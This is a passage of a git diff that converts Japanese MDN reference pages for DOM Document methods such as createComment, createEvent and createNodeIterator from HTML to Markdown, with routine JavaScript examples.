+ +このイベントの本来の対象は、コピー操作の意図の対象である {{domxref("Element")}} です。このイベントを {{domxref("Document")}} インターフェイス上で待ち受けし、キャプチャやバブリングの局面で処理することができます。このイベントの局面について完全な詳細は、 [Element: copy イベント](/ja/docs/Web/API/Element/copy_event)を参照してください。 + +## 例 + +```js +document.addEventListener('copy', (event) => { + console.log('copy action initiated') +}); +``` + +## 仕様書 + +| 仕様書 | 状態 | +| ------------------------------------------------------------------------ | ------------------------------------ | +| {{SpecName('Clipboard API', '#clipboard-event-copy')}} | {{Spec2('Clipboard API')}} | + +## ブラウザーの互換性 + +{{Compat("api.Document.copy_event")}} + +## 関連情報 + +- 関連イベント: {{domxref("Document/cut_event", "cut")}}, {{domxref("Document/paste_event", "paste")}} +- {{domxref("Element")}} を対象としたこのイベント: {{domxref("Element/copy_event", "copy")}} +- {{domxref("Window")}} を対象としたこのイベント: {{domxref("Window/copy_event", "copy")}} diff --git a/files/ja/web/api/document/createcomment/index.html b/files/ja/web/api/document/createcomment/index.html deleted file mode 100644 index 4597c5f1b7cc8a..00000000000000 --- a/files/ja/web/api/document/createcomment/index.html +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: Document.createComment() -slug: Web/API/Document/createComment -tags: - - API - - DOM - - Method - - Reference -translation_of: Web/API/Document/createComment ---- -
{{APIRef("DOM")}}
- -

createComment() は新たにコメントノードを作成し、返します。

- -

構文

- -
CommentNode = document.createComment(data);
-
- -

引数

- -
-
data
-
文字列で、コメントに追加されるデータを含みます。
-
- -

- -
var docu = new DOMParser().parseFromString('<xml></xml>',  'application/xml');
-var comment = docu.createComment('This is a not-so-secret comment in your document');
-
-docu.getElementsByTagName('xml')[0].appendChild(comment);
-
-alert(new XMLSerializer().serializeToString(docu));
-// 表示結果: <xml><!--This is a not-so-secret comment in your document--></xml>
- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('DOM WHATWG', '#dom-document-createcomment', 'document.createComment')}}{{Spec2('DOM WHATWG')}}
- -

ブラウザーの互換性

- -

{{Compat("api.Document.createComment")}}

diff --git a/files/ja/web/api/document/createcomment/index.md b/files/ja/web/api/document/createcomment/index.md new file mode 100644 index 00000000000000..d9df975612423e --- /dev/null +++ b/files/ja/web/api/document/createcomment/index.md @@ -0,0 +1,46 @@ +--- +title: Document.createComment() +slug: Web/API/Document/createComment +tags: + - API + - DOM + - Method + - Reference +translation_of: Web/API/Document/createComment +--- +{{APIRef("DOM")}} + +**`createComment()`** は新たにコメントノードを作成し、返します。 + +## 構文 + +``` +CommentNode = document.createComment(data); +``` + +### 引数 + +- _data_ + - : 文字列で、コメントに追加されるデータを含みます。 + +## 例 + +```js +var docu = new DOMParser().parseFromString('', 'application/xml'); +var comment = docu.createComment('This is a not-so-secret comment in your document'); + +docu.getElementsByTagName('xml')[0].appendChild(comment); + +alert(new XMLSerializer().serializeToString(docu)); +// 表示結果: +``` + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| ---------------------------------------------------------------------------------------------------------------- | -------------------------------- | ---- | +| {{SpecName('DOM WHATWG', '#dom-document-createcomment', 'document.createComment')}} | {{Spec2('DOM WHATWG')}} | | + +## ブラウザーの互換性 + +{{Compat("api.Document.createComment")}} diff --git a/files/ja/web/api/document/createdocumentfragment/index.html b/files/ja/web/api/document/createdocumentfragment/index.html deleted file mode 100644 index 82f73ce95f98ea..00000000000000 --- a/files/ja/web/api/document/createdocumentfragment/index.html +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: Document.createDocumentFragment() -slug: Web/API/Document/createDocumentFragment -tags: - - API - - DOM - - Document - - Method - - Reference - - createDocumentFragment -translation_of: Web/API/Document/createDocumentFragment ---- -

{{APIRef("DOM WHATWG")}}

- -

新しい空の {{domxref("DocumentFragment")}} を作成し、そこに DOM ノードを追加して画面外の DOM ツリーを作成します。

- -

構文

- -
var fragment = document.createDocumentFragment();
-
- -

- -

新しく作成された空の {{domxref("DocumentFragment")}} オブジェクトで、中にノードが挿入できるものです。

- -

使用上の注意

- -

DocumentFragment は DOM の {{domxref("Node")}} オブジェクトですが、メインの DOM ツリーの一部にはなりません。通常の使い方は、文書フラグメントを生成し、その文書フラグメントに要素を追加して、その文書フラグメントを DOM ツリーへ追加することです。 DOM ツリー内では、文書フラグメントはすべての子要素によって置き換えられます。

- -

文書フラグメントはメモリ内にあり、メインの DOM ツリーの一部ではないため、文書フラグメントに子要素を追加してもページのリフロー (要素の位置と大きさを決定するための計算) が行われません。そのため文書フラグメントを利用することによって、性能の改善が見込まれます。

- -

DocumentFragment コンストラクターを使用して新しいフラグメントを生成することもできます。

- -
let fragment = new DocumentFragment();
- -

- -

この例では、主要なウェブブラウザのリストを DocumentFragment 内に作成し、表示するドキュメントに新しい DOM サブツリーを追加しています。

- -

HTML

- -
<ul id="ul">
-</ul>
- -

JavaScript

- -
var element  = document.getElementById('ul'); // ul が存在することを仮定
-var fragment = document.createDocumentFragment();
-var browsers = ['Firefox', 'Chrome', 'Opera',
-    'Safari', 'Internet Explorer'];
-
-browsers.forEach(function(browser) {
-    var li = document.createElement('li');
-    li.textContent = browser;
-    fragment.appendChild(li);
-});
-
-element.appendChild(fragment);
-
- -

結果

- -

{{EmbedLiveSample("Example", 600, 140)}}

- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('DOM WHATWG', '#dom-document-createdocumentfragment', 'Document.createDocumentFragment()')}}{{Spec2('DOM WHATWG')}}DOM 1 仕様書にて初回定義
- -

ブラウザーの互換性

- -
-

{{Compat("api.Document.createDocumentFragment")}}

-
- -

関連情報

- - diff --git a/files/ja/web/api/document/createdocumentfragment/index.md b/files/ja/web/api/document/createdocumentfragment/index.md new file mode 100644 index 00000000000000..0d71fb252197db --- /dev/null +++ b/files/ja/web/api/document/createdocumentfragment/index.md @@ -0,0 +1,84 @@ +--- +title: Document.createDocumentFragment() +slug: Web/API/Document/createDocumentFragment +tags: + - API + - DOM + - Document + - Method + - Reference + - createDocumentFragment +translation_of: Web/API/Document/createDocumentFragment +--- +{{APIRef("DOM WHATWG")}} + +新しい空の {{domxref("DocumentFragment")}} を作成し、そこに DOM ノードを追加して画面外の DOM ツリーを作成します。 + +## 構文 + +``` +var fragment = document.createDocumentFragment(); +``` + +### 値 + +新しく作成された空の {{domxref("DocumentFragment")}} オブジェクトで、中にノードが挿入できるものです。 + +## 使用上の注意 + +`DocumentFragment` は DOM の {{domxref("Node")}} オブジェクトですが、メインの DOM ツリーの一部にはなりません。通常の使い方は、文書フラグメントを生成し、その文書フラグメントに要素を追加して、その文書フラグメントを DOM ツリーへ追加することです。 DOM ツリー内では、文書フラグメントはすべての子要素によって置き換えられます。 + +文書フラグメントは*メモリ内*にあり、メインの DOM ツリーの一部ではないため、文書フラグメントに子要素を追加してもページの[リフロー](https://developers.google.com/speed/articles/reflow?csw=1) (要素の位置と大きさを決定するための計算) が行われません。そのため文書フラグメントを利用することによって、[性能の改善](http://ejohn.org/blog/dom-documentfragments/)が見込まれます。 + +`DocumentFragment` コンストラクターを使用して新しいフラグメントを生成することもできます。 + +```js +let fragment = new DocumentFragment(); +``` + +## 例 + +この例では、主要なウェブブラウザのリストを `DocumentFragment` 内に作成し、表示するドキュメントに新しい DOM サブツリーを追加しています。 + +### HTML + +```html + +``` + +### JavaScript + +```js +var element = document.getElementById('ul'); // ul が存在することを仮定 +var fragment = document.createDocumentFragment(); +var browsers = ['Firefox', 'Chrome', 'Opera', + 'Safari', 'Internet Explorer']; + +browsers.forEach(function(browser) { + var li = document.createElement('li'); + li.textContent = browser; + fragment.appendChild(li); +}); + +element.appendChild(fragment); +``` + +### 結果 + +{{EmbedLiveSample("Example", 600, 140)}} + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| ---------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ------------------------ | +| {{SpecName('DOM WHATWG', '#dom-document-createdocumentfragment', 'Document.createDocumentFragment()')}} | {{Spec2('DOM WHATWG')}} | DOM 1 仕様書にて初回定義 | + +## ブラウザーの互換性 + +{{Compat("api.Document.createDocumentFragment")}} + +## 関連情報 + +- {{domxref("DOMImplementation.createDocument", "document.implementation.createDocument()")}} +- {{domxref("documentFragment")}} diff --git a/files/ja/web/api/document/createelementns/index.html b/files/ja/web/api/document/createelementns/index.html deleted file mode 100644 index 052b838944ed2d..00000000000000 --- a/files/ja/web/api/document/createelementns/index.html +++ /dev/null @@ -1,121 +0,0 @@ ---- -title: Document.createElementNS() -slug: Web/API/Document/createElementNS -tags: - - API - - DOM - - Method - - Reference -translation_of: Web/API/Document/createElementNS ---- -
{{APIRef("DOM")}}
- -

指定された名前空間 URI と修飾名を持つ要素を生成します。

- -

名前空間 URI を指定せずに要素を生成する場合は、 {{DOMxRef("Document.createElement()", "createElement()")}} メソッドを使用してください。

- -

構文

- -
var element = document.createElementNS(namespaceURI, qualifiedName[, options]);
-
- -

引数

- -
-
namespaceURI
-
文字列で、要素に関連付ける名前空間 URI を指定します。生成される要素の {{DOMxRef("element.namespaceURI", "namespaceURI")}} プロパティは namespaceURI の値で初期化されます。妥当な名前空間 URI も参照してください。
-
qualifiedName
-
文字列で、生成される要素の型を指定します。生成される要素の {{DOMxRef("element.nodeName", "nodeName")}} プロパティは、 qualifiedName の値で初期化されます。
-
options{{Optional_Inline}}
-
任意の ElementCreationOptions オブジェクトで、 is という名前の単一のプロパティを持ち、その値として以前に customElements.define() を使用して定義されたカスタム要素のタグ名を設定します。以前のバージョンの Custom Elements specification との後方互換性のため、ブラウザーによってはここにオブジェクトの代わりに、文字列を渡すことができ、その文字列の値はカスタム要素のタグ名になります。この引数の使い方について詳しい情報は、 Extending native HTML elements を参照してください。
-
新しい要素には is 属性が与えられ、値はカスタム要素のタグ名になります。カスタム要素は一部のブラウザーのみで利用できる試行的な機能です。
-
- -

返値

- -

The new {{DOMxRef("Element")}}.

- -

重要な名前空間 URI

- -
-
HTML
-
http://www.w3.org/1999/xhtml
-
SVG
-
http://www.w3.org/2000/svg
-
MathML
-
http://www.w3.org/1998/Math/MathML
-
XUL {{Non-standard_Inline}}
-
http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
-
XBL {{Non-standard_Inline}} {{Deprecated_Inline}}
-
http://www.mozilla.org/xbl
-
- -

- -

これは新しい <div> 要素を {{Glossary("XHTML")}} 名前空間に生成し、 vbox 要素に追加します。これは有用な XUL 文書ではありませんが、二つの異なる名前空間の要素を単一の文書内で利用する方法を紹介しています。

- -
<?xml version="1.0"?>
-<page xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"
-      xmlns:html="http://www.w3.org/1999/xhtml"
-      title="||Working with elements||"
-      onload="init()">
-
-<script type="application/javascript"><![CDATA[
- let container;
- let newdiv;
- let txtnode;
-
- function init(){
-   container = document.getElementById("ContainerBox");
-   newdiv = document.createElementNS("http://www.w3.org/1999/xhtml", "div");
-   txtnode = document.createTextNode("This is text that was constructed dynamically with createElementNS and createTextNode then inserted into the document using appendChild.");
-   newdiv.appendChild(txtnode);
-   container.appendChild(newdiv);
- }
-
-]]></script>
-
- <vbox id="ContainerBox" flex="1">
-  <html:div>
-   The script on this page will add dynamic content below:
-  </html:div>
- </vbox>
-
-</page>
-
- -
-

上記の例は XHTML 文書では推奨されていないインラインスクリプトを使用しています。この部分的な例は実際には XUL 文書に埋め込んだ XHTML があるものですが、それでもこの推奨事項は適用されます。

-
- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName("DOM WHATWG", "#dom-document-createelementns", "Document.createElementNS()")}}{{Spec2("DOM WHATWG")}}
- -

ブラウザーの互換性

- -
{{Compat("api.Document.createElementNS")}}
- -

関連情報

- - diff --git a/files/ja/web/api/document/createelementns/index.md b/files/ja/web/api/document/createelementns/index.md new file mode 100644 index 00000000000000..030ca06c5152d7 --- /dev/null +++ b/files/ja/web/api/document/createelementns/index.md @@ -0,0 +1,106 @@ +--- +title: Document.createElementNS() +slug: Web/API/Document/createElementNS +tags: + - API + - DOM + - Method + - Reference +translation_of: Web/API/Document/createElementNS +--- +{{APIRef("DOM")}} + +指定された名前空間 URI と修飾名を持つ要素を生成します。 + +名前空間 URI を指定せずに要素を生成する場合は、 {{DOMxRef("Document.createElement()", "createElement()")}} メソッドを使用してください。 + +## 構文 + +``` +var element = document.createElementNS(namespaceURI, qualifiedName[, options]); +``` + +### 引数 + +- `namespaceURI` + - : 文字列で、要素に関連付ける[名前空間 URI](https://www.w3.org/TR/2004/REC-DOM-Level-3-Core-20040407/glossary.html#dt-namespaceURI) を指定します。生成される要素の {{DOMxRef("element.namespaceURI", "namespaceURI")}} プロパティは _namespaceURI_ の値で初期化されます。 [妥当な名前空間 URI](#important_namespace_uris) も参照してください。 +- `qualifiedName` + - : 文字列で、生成される要素の型を指定します。生成される要素の {{DOMxRef("element.nodeName", "nodeName")}} プロパティは、 _qualifiedName_ の値で初期化されます。 +- `options` {{Optional_Inline}} + + - : 任意の `ElementCreationOptions` オブジェクトで、 `is` という名前の単一のプロパティを持ち、その値として以前に `customElements.define()` を使用して定義されたカスタム要素のタグ名を設定します。 + 以前のバージョンの [Custom Elements specification](https://www.w3.org/TR/custom-elements/) との後方互換性のため、ブラウザーによってはここにオブジェクトの代わりに、文字列を渡すことができ、その文字列の値はカスタム要素のタグ名になります。 + この引数の使い方について詳しい情報は、 [Extending native HTML elements](https://web.dev/web-components/) を参照してください。 + + 新しい要素には `is` 属性が与えられ、値はカスタム要素のタグ名になります。カスタム要素は一部のブラウザーのみで利用できる試行的な機能です。 + +### 返値 + +The new {{DOMxRef("Element")}}. + +## 重要な名前空間 URI + +- [HTML](/ja/docs/Web/HTML) + - : `http://www.w3.org/1999/xhtml` +- [SVG](/ja/docs/Web/SVG) + - : `http://www.w3.org/2000/svg` +- [MathML](/ja/docs/Web/MathML) + - : `http://www.w3.org/1998/Math/MathML` +- [XUL](/ja/docs/Mozilla/Tech/XUL) {{Non-standard_Inline}} + - : `http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul` +- [XBL](/ja/docs/Mozilla/Tech/XBL) {{Non-standard_Inline}} {{Deprecated_Inline}} + - : `http://www.mozilla.org/xbl` + +## 例 + +これは新しい \
要素を {{Glossary("XHTML")}} 名前空間に生成し、 vbox 要素に追加します。これは有用な [XUL](/ja/docs/Mozilla/Tech/XUL) 文書ではありませんが、二つの異なる名前空間の要素を単一の文書内で利用する方法を紹介しています。 + +```xml + + + + + + + + The script on this page will add dynamic content below: + + + + +``` + +> **Note:** 上記の例は XHTML 文書では推奨されていないインラインスクリプトを使用しています。この部分的な例は実際には XUL 文書に埋め込んだ XHTML があるものですが、それでもこの推奨事項は適用されます。 + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| ------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | ---- | +| {{SpecName("DOM WHATWG", "#dom-document-createelementns", "Document.createElementNS()")}} | {{Spec2("DOM WHATWG")}} | | + +## ブラウザーの互換性 + +{{Compat("api.Document.createElementNS")}} + +## 関連情報 + +- {{DOMxRef("document.createElement()")}} +- {{DOMxRef("document.createTextNode()")}} +- {{DOMxRef("Node.namespaceURI")}} +- [Namespaces in XML](http://www.w3.org/TR/1999/REC-xml-names-19990114) diff --git a/files/ja/web/api/document/createevent/index.html b/files/ja/web/api/document/createevent/index.html deleted file mode 100644 index ed1d2cac4af130..00000000000000 --- a/files/ja/web/api/document/createevent/index.html +++ /dev/null @@ -1,92 +0,0 @@ ---- -title: Document.createEvent() -slug: Web/API/Document/createEvent -tags: - - API - - DOM - - Method - - Reference - - メソッド -browser-compat: api.Document.createEvent -translation_of: Web/API/Document/createEvent ---- -
-

警告

-

createEvent とともに使用される多くのメソッド (initCustomEvent など) は非推奨です。代わりに イベントのコンストラクター を使用してください。

-
- -
{{ApiRef("DOM")}}
- -

指定された型の イベント を作成します。返されるオブジェクトは最初に初期化する必要があり、その後で {{domxref("EventTarget.dispatchEvent")}} へ渡すことができます。

- -

構文

- -
var event = document.createEvent(type);
-
- - - -

- -
// イベントを作成します。
-var event = document.createEvent('Event');
-
-// イベントの名前を 'build' に定義します。
-event.initEvent('build', true, true);
-
-// イベントを待受します。
-elem.addEventListener('build', function (e) {
-  // e.target が elem に対応する
-}, false);
-
-// ターゲットは任意の Element やほかの EventTarget にすることができます。
-elem.dispatchEvent(event);
-
- -

- -

createEvent() に渡すのに適したイベント型を表す文字列は DOM 標準で定義されています。ステップ 2 の表をご覧ください。現在はほとんどのイベントオブジェクトにコンストラクターがあり、それらはイベントオブジェクトのインスタンスを生成するために推奨される、現代的な方法であることに注意してください。

- -

Gecko は非標準のイベントオブジェクトの別名をサポートしています。詳細は以下の表を参照してください。

- - - - - - - - - - - - - - - - - - - - - - - - -
イベントモジュール標準イベントオブジェクトGecko が対応する別名
テキストイベントモジュールTextEventTextEvents
キーボードイベントモジュールKeyboardEventKeyEvents
基本イベントモジュールEventEvents
- -

仕様書

- -{{Specifications}} - -

ブラウザーの互換性

- -

{{Compat}}

- -

関連情報

- - diff --git a/files/ja/web/api/document/createevent/index.md b/files/ja/web/api/document/createevent/index.md new file mode 100644 index 00000000000000..5ecf00526e25e3 --- /dev/null +++ b/files/ja/web/api/document/createevent/index.md @@ -0,0 +1,68 @@ +--- +title: Document.createEvent() +slug: Web/API/Document/createEvent +tags: + - API + - DOM + - Method + - Reference + - メソッド +translation_of: Web/API/Document/createEvent +browser-compat: api.Document.createEvent +--- +> **Warning:** `createEvent` とともに使用される多くのメソッド (`initCustomEvent` など) は非推奨です。代わりに [イベントのコンストラクター](/ja/docs/Web/API/CustomEvent) を使用してください。 + +{{ApiRef("DOM")}} + +指定された型の [イベント](/ja/docs/Web/API/Event) を作成します。返されるオブジェクトは最初に初期化する必要があり、その後で {{domxref("EventTarget.dispatchEvent")}} へ渡すことができます。 + +## 構文 + +```js +var event = document.createEvent(type); +``` + +- `event` は作成された [イベント](/ja/docs/Web/API/Event) オブジェクトです。 +- `type` は作成するイベント型を表す文字列です。取り得るイベント型は `"UIEvents"`, `"MouseEvents"`, `"MutationEvents"`, `"HTMLEvents"` のいずれかです。詳しくは[注](#notes)の項目を参照してください。 + +## 例 + +```js +// イベントを作成します。 +var event = document.createEvent('Event'); + +// イベントの名前を 'build' に定義します。 +event.initEvent('build', true, true); + +// イベントを待受します。 +elem.addEventListener('build', function (e) { + // e.target が elem に対応する +}, false); + +// ターゲットは任意の Element やほかの EventTarget にすることができます。 +elem.dispatchEvent(event); +``` + +## 注 + +`createEvent()` に渡すのに適したイベント型を表す文字列は [DOM 標準で定義されています。ステップ 2 の表をご覧ください](https://dom.spec.whatwg.org/#dom-document-createevent)。現在はほとんどのイベントオブジェクトにコンストラクターがあり、それらはイベントオブジェクトのインスタンスを生成するために推奨される、現代的な方法であることに注意してください。 + +Gecko は非標準のイベントオブジェクトの別名をサポートしています。詳細は以下の表を参照してください。 + +| イベントモジュール | 標準イベントオブジェクト | Gecko が対応する別名 | +| ---------------------------- | ------------------------ | -------------------- | +| テキストイベントモジュール | `TextEvent` | `TextEvents` | +| キーボードイベントモジュール | `KeyboardEvent` | `KeyEvents` | +| 基本イベントモジュール | `Event` | `Events` | + +## 仕様書 + +{{Specifications}} + +## ブラウザーの互換性 + +{{Compat}} + +## 関連情報 + +- [イベントの作成と発行](/ja/docs/Web/Events/Creating_and_triggering_events) diff --git a/files/ja/web/api/document/createexpression/index.html b/files/ja/web/api/document/createexpression/index.html deleted file mode 100644 index 0c8e3b0f578c45..00000000000000 --- a/files/ja/web/api/document/createexpression/index.html +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: Document.createExpression() -slug: Web/API/Document/createExpression -tags: - - API - - DOM - - Document - - Reference - - XPath - - createExpression - - メソッド -translation_of: Web/API/Document/createExpression ---- -
{{APIRef("DOM")}}
- -

このメソッドは、 (繰り返して) 評価を行うために使用することができる {{DOMxRef("XPathExpression")}} をコンパイルします。

- -

構文

- -
xpathExpr = document.createExpression(xpathText, namespaceURLMapper);
-
- -

引数

- - - -

{{Fx_MinVersion_Note(3, "Firefox 3 より前では、対象として XPath を実行する文書以外の文書に対してこのメソッドを呼び出すことができました。 Firefox 3 では、同じ文書に対して呼び出す必要があります。")}}

- -

返値

- -

{{DOMxRef("XPathExpression")}}

- -

ブラウザーの対応

- -

{{Compat("api.Document.createExpression")}}

- -

関連情報

- - diff --git a/files/ja/web/api/document/createexpression/index.md b/files/ja/web/api/document/createexpression/index.md new file mode 100644 index 00000000000000..c480aa3553c623 --- /dev/null +++ b/files/ja/web/api/document/createexpression/index.md @@ -0,0 +1,42 @@ +--- +title: Document.createExpression() +slug: Web/API/Document/createExpression +tags: + - API + - DOM + - Document + - Reference + - XPath + - createExpression + - メソッド +translation_of: Web/API/Document/createExpression +--- +{{APIRef("DOM")}} + +このメソッドは、 (繰り返して) 評価を行うために使用することができる {{DOMxRef("XPathExpression")}} をコンパイルします。 + +## 構文 + +``` +xpathExpr = document.createExpression(xpathText, namespaceURLMapper); +``` + +### 引数 + +- _xpathText_ は文字列で、コンパイルする XPath 式です。 +- _namespaceURLMapper_ は、名前空間接頭辞を名前空間 URL に対応付ける関数 (または必要がなければ null) です。 + +{{Fx_MinVersion_Note(3, "Firefox 3 より前では、対象として XPath を実行する文書以外の文書に対してこのメソッドを呼び出すことができました。 Firefox 3 では、同じ文書に対して呼び出す必要があります。")}} + +### 返値 + +{{DOMxRef("XPathExpression")}} + +## ブラウザーの互換性 + +{{Compat("api.Document.createExpression")}} + +## 関連情報 + +- {{DOMxRef("Document.evaluate()")}} +- {{DOMxRef("XPathExpression")}} diff --git a/files/ja/web/api/document/createnodeiterator/index.html b/files/ja/web/api/document/createnodeiterator/index.html deleted file mode 100644 index e04bcfc1b8966c..00000000000000 --- a/files/ja/web/api/document/createnodeiterator/index.html +++ /dev/null @@ -1,154 +0,0 @@ ---- -title: Document.createNodeIterator() -slug: Web/API/Document/createNodeIterator -tags: - - API - - DOM - - Gecko - - MakeBrowserAgnostic - - Method - - メソッド -translation_of: Web/API/Document/createNodeIterator ---- -
{{APIRef("DOM")}}
- -

新しい {{domxref("NodeIterator")}} オブジェクトを返します。

- -

構文

- -
const nodeIterator = document.createNodeIterator(root[, whatToShow[, filter]]);
-
- -

- -
-
root
-
{{ domxref("NodeIterator") }} の探索の開始地点になるルートノードです。
-
whatToShow {{ optional_inline() }}
-
オプションの unsigned long 値で、 NodeFilter の定数プロパティを組み合わせて作られたビットマスクを表します。これは特定の種類のノードを絞り込みするのに便利な方法です。. 既定値は 0xFFFFFFFF で、 SHOW_ALL 定数を表します。 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
定数数値説明
NodeFilter.SHOW_ALL-1 (すなわち unsigned long の最大値)すべてのノードを表します。
NodeFilter.SHOW_ATTRIBUTE {{deprecated_inline}}2 -

属性 {{ domxref("Attr") }} ノードを表します。

- -

これは、 {{ domxref("Attr") }} ノードをルートとして {{ domxref("NodeIterator") }} を作成した場合にのみ意味を持ちます。この場合、その属性ノードが反復や探索の最初の位置に現れることを意味します。属性は他のノードの子ではないので、文書ツリーを探索しても現れません。

-
NodeFilter.SHOW_CDATA_SECTION {{deprecated_inline}}8{{ domxref("CDATASection") }} ノードを表します。
NodeFilter.SHOW_COMMENT128{{ domxref("Comment") }} ノードを表します。
NodeFilter.SHOW_DOCUMENT256{{ domxref("Document") }} ノードを表します。
NodeFilter.SHOW_DOCUMENT_FRAGMENT1024{{ domxref("DocumentFragment") }} ノードを表します。
NodeFilter.SHOW_DOCUMENT_TYPE512{{ domxref("DocumentType") }} ノードを表します。
NodeFilter.SHOW_ELEMENT1{{ domxref("Element") }} ノードを表します。
NodeFilter.SHOW_ENTITY {{deprecated_inline}}32{{ domxref("Entity") }} ノードを表示します。これは、 {{ domxref("Entity") }} ノードをルートとして {{ domxref("NodeIterator") }} を作成した場合にのみ意味を持ちます。この場合、 {{ domxref("Entity") }} ノードが探索の最初の位置に現れることを意味します。エンティティは文書ツリーの一部ではないので、文書ツリーを探索しても表されません。
NodeFilter.SHOW_ENTITY_REFERENCE {{deprecated_inline}}16{{ domxref("EntityReference") }} ノードを表します。
NodeFilter.SHOW_NOTATION {{deprecated_inline}}2048{{ domxref("Notation") }} ノードを表示します。これは、 {{ domxref("Notation") }} ノードをルートとして {{ domxref("NodeIterator") }} を作成した場合にのみ意味を持ちます。この場合、 {{ domxref("Notation") }} ノードが探索の最初の位置に現れることを意味します。 Notation は文書ツリーの一部ではないので、文書ツリーを探索しても表されません。
NodeFilter.SHOW_PROCESSING_INSTRUCTION64Shows {{ domxref("ProcessingInstruction") }} nodes.
NodeFilter.SHOW_TEXT4{{ domxref("Text") }} ノードを表します。
-
-
filter {{ optional_inline() }}
-
NodeFilter インターフェースを実装したオブジェクト。その acceptNode() メソッドは、反復可能なノードのリストに含めるかどうかを決定するために、 whatToShow フラグによって含まれていると受け入れられたルートを基準としたサブツリーの各ノードに対して呼び出されます (代わりに単純なコールバック関数を使用することもできます)。このメソッドは NodeFilter.FILTER_ACCEPT, NodeFilter.FILTER_REJECT, or NodeFilter.FILTER_SKIP のいずれかを返します。を参照してください。
-
- -
メモ: Gecko 12.0 (Firefox 12.0 / Thunderbird 12.0 / SeaMonkey 2.9) より前の版では、このメソッドは DOM4 仕様の一部ではないオプションの 4 番目の引数 (entityReferenceExpansion) を受け入れていました。この引数は、エンティティ参照ノードの子がイテレーターから見えるかどうかを示していました。このようなノードはブラウザーでは作成されないので、この引数は何の効果もありませんでした。
- -

- -
const nodeIterator = document.createNodeIterator(
-    document.body,
-    NodeFilter.SHOW_ELEMENT,
-    function(node) {
-        return node.nodeName.toLowerCase() === 'p' ? NodeFilter.FILTER_ACCEPT : NodeFilter.FILTER_REJECT;
-    }
-);
-const pars = [];
-let currentNode;
-
-while (currentNode = nodeIterator.nextNode()) {
-  pars.push(currentNode);
-}
-
- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('DOM WHATWG', '#dom-document-createnodeiterator', 'document.createNodeIterator')}}{{Spec2('DOM WHATWG')}}
- -

ブラウザーの互換性

- -

{{Compat("api.Document.createNodeIterator")}}

diff --git a/files/ja/web/api/document/createnodeiterator/index.md b/files/ja/web/api/document/createnodeiterator/index.md new file mode 100644 index 00000000000000..a765d27615b9eb --- /dev/null +++ b/files/ja/web/api/document/createnodeiterator/index.md @@ -0,0 +1,78 @@ +--- +title: Document.createNodeIterator() +slug: Web/API/Document/createNodeIterator +tags: + - API + - DOM + - Gecko + - MakeBrowserAgnostic + - Method + - メソッド +translation_of: Web/API/Document/createNodeIterator +--- +{{APIRef("DOM")}} + +新しい {{domxref("NodeIterator")}} オブジェクトを返します。 + +## 構文 + +``` +const nodeIterator = document.createNodeIterator(root[, whatToShow[, filter]]); +``` + +### 値 + +- `root` + - : {{ domxref("NodeIterator") }} の探索の開始地点になるルートノードです。 +- `whatToShow` {{ optional_inline() }} + + - : オプションの `unsigned long` 値で、 [`NodeFilter`](http://www.w3.org/TR/DOM-Level-2-Traversal-Range/traversal.html#Traversal-NodeFilter) の定数プロパティを組み合わせて作られたビットマスクを表します。これは特定の種類のノードを絞り込みするのに便利な方法です。. 既定値は `0xFFFFFFFF` で、 `SHOW_ALL` 定数を表します。 + + | 定数 | 数値 | 説明 | + | --------------------------------------------------------------- | ---------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | + | `NodeFilter.SHOW_ALL` | `-1` (すなわち `unsigned long` の最大値) | すべてのノードを表します。 | + | `NodeFilter.SHOW_ATTRIBUTE` {{deprecated_inline}} | `2` | 属性 {{ domxref("Attr") }} ノードを表します。これは、 {{ domxref("Attr") }} ノードをルートとして {{ domxref("NodeIterator") }} を作成した場合にのみ意味を持ちます。この場合、その属性ノードが反復や探索の最初の位置に現れることを意味します。属性は他のノードの子ではないので、文書ツリーを探索しても現れません。 | + | `NodeFilter.SHOW_CDATA_SECTION` {{deprecated_inline}} | `8` | {{ domxref("CDATASection") }} ノードを表します。 | + | `NodeFilter.SHOW_COMMENT` | `128` | {{ domxref("Comment") }} ノードを表します。 | + | `NodeFilter.SHOW_DOCUMENT` | `256` | {{ domxref("Document") }} ノードを表します。 | + | `NodeFilter.SHOW_DOCUMENT_FRAGMENT` | `1024` | {{ domxref("DocumentFragment") }} ノードを表します。 | + | `NodeFilter.SHOW_DOCUMENT_TYPE` | `512` | {{ domxref("DocumentType") }} ノードを表します。 | + | `NodeFilter.SHOW_ELEMENT` | `1` | {{ domxref("Element") }} ノードを表します。 | + | `NodeFilter.SHOW_ENTITY` {{deprecated_inline}} | `32` | {{ domxref("Entity") }} ノードを表示します。これは、 {{ domxref("Entity") }} ノードをルートとして {{ domxref("NodeIterator") }} を作成した場合にのみ意味を持ちます。この場合、 {{ domxref("Entity") }} ノードが探索の最初の位置に現れることを意味します。エンティティは文書ツリーの一部ではないので、文書ツリーを探索しても表されません。 | + | `NodeFilter.SHOW_ENTITY_REFERENCE` {{deprecated_inline}} | `16` | {{ domxref("EntityReference") }} ノードを表します。 | + | `NodeFilter.SHOW_NOTATION` {{deprecated_inline}} | `2048` | {{ domxref("Notation") }} ノードを表示します。これは、 {{ domxref("Notation") }} ノードをルートとして {{ domxref("NodeIterator") }} を作成した場合にのみ意味を持ちます。この場合、 {{ domxref("Notation") }} ノードが探索の最初の位置に現れることを意味します。 Notation は文書ツリーの一部ではないので、文書ツリーを探索しても表されません。 | + | `NodeFilter.SHOW_PROCESSING_INSTRUCTION` | `64` | Shows {{ domxref("ProcessingInstruction") }} nodes. 